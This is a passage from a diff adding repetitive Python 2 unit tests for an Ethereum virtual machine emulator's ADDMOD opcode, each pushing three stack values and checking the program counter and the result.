+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [15L])
+
+    def test_ADDMOD_450(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [15L])
+
+    def test_ADDMOD_451(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(16)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [15L])
+
+    def test_ADDMOD_452(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(16)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_453(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(16)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_ADDMOD_454(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(16)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_455(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(16)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [15L])
+
+    def test_ADDMOD_456(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(16)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_457(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(16)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_458(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(16)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_459(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(16)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_460(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(32)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [15L])
+
+    def test_ADDMOD_461(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(32)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_462(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(32)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_ADDMOD_463(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(32)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_464(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(32)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [15L])
+
+    def test_ADDMOD_465(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(32)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_466(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(32)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_467(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(32)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_468(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(32)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_469(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(48)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [15L])
+
+    def test_ADDMOD_470(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(48)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_471(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(48)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_ADDMOD_472(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(48)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_473(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(48)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [15L])
+
+    def test_ADDMOD_474(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(48)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_475(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(48)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_476(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(48)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_477(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(48)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_478(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [15L])
+
+    def test_ADDMOD_479(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_480(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_ADDMOD_481(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
